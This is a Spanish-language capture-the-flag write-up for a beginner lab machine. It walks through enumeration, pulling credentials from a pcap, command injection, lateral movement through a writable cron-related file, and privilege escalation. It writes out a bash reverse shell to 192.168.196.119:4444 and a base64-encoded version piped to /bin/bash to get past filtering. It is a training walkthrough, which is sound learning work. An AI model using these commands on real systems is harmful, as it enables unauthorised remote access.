Introduction

Sigue el camino de baldosas amarillas.
Getting the Flags
Reconocimiento Inicial
Comenzamos haciendo un escaneo de puertos abiertos.

Ahora vamos a escanear dichos puertos más en profundidad.

Vamos a ver qué directorios hay.

Vamos a ver cómo se ve la web.

No parece haber nada, vamos a ver el directorio que encontramos.

Parece que podemos ver el nombre del software: email2web y algunos correos con lo que podrían ser potenciales nombres de usuario:
netadminjakeuzi
Profundización
Vamos a ver qué esconde este archivo. Si nos fijamos en el nombre, parece que sea una string en base64.

Abrimos Wireshark y cargamos el archivo.

Podemos ver que hay un HTTP con código 200.

Seguimos el flujo HTTP y encontramos lo siguiente:

Una contraseña y usuario, además del endpoint y el host en el que se encuentra. Lo añadimos a /etc/hosts. Vamos a visitar la dirección.

Vamos a ver qué hay en estos archivos.

El archivo admin.php parece ser una redirección, puesto que nos lleva al mismo sitio que login.php. Vamos a usar las credenciales que hemos encontrado para entrar.

Explotación
Vamos a ver qué pasa si escribimos algún comando inofensivo. No parece que haga nada con por ejemplo ls. Vamos a investigar qué pasa por detrás con BurpSuite.

No parece que haya nada explotable. Vamos a probar a poner un listener y mandar una petición.

Parece que esto si que ha funcionado. Vamos a mandar una reverse shell.
El comando:
/bin/bash -i >& /dev/tcp/192.168.196.119/4444 0>&1
No funciona, puede que sea por caracteres especiales, así que vamos a encodearlo en base 64 y a hacer que se decodifique y ejecute en el servidor:
echo "/bin/bash -i >& /dev/tcp/192.168.196.119/4444 0>&1" | base64 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTk2LjExOS80NDQ0IDA+JjEK
Ahora le pasamos este comando a la página:
echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTk2LjExOS80NDQ0IDA+JjEK" | base64 -d | /bin/bash
Y...

Estamos dentro. Vamos a estabilizarla.

Vamos a buscar la flag de usuario.

Parece que no podemos leerla, tendremos que hacer movimiento lateral. Si miramos el /ect/crontab encontramos lo siguiente:

Si miramos los permisos de este archivo:

Parece que todo el mundo puede editarlo. Generamos un par de claves.

Y ahora copiamos la clave pública dentro del archivo del servidor.

Ahora esperamos un poco e iniciamos sesión.

Buscamos la flag y la obtenemos.
Escalada de Privilegios
Vamos a realizar las pruebas básicas que siempre hacemos:

Encontramos esto, por lo que buscamos en GTFOBins y...

Bingo, vamos a escalar privilegios.

Ahora buscamos la flag y la leemos.
Conclusión
Hemos trabajado varias cosas en esta máquina, bastante sencilla pero muy divertida, como:
- Wireshark.
- Webshells.
- Claves públicas y privadas.
- Enumeración.
- Movimiento lateral.
- Escalada de privilegios.
En definitiva, bastante completa pero sencilla, ideal para principiantes.
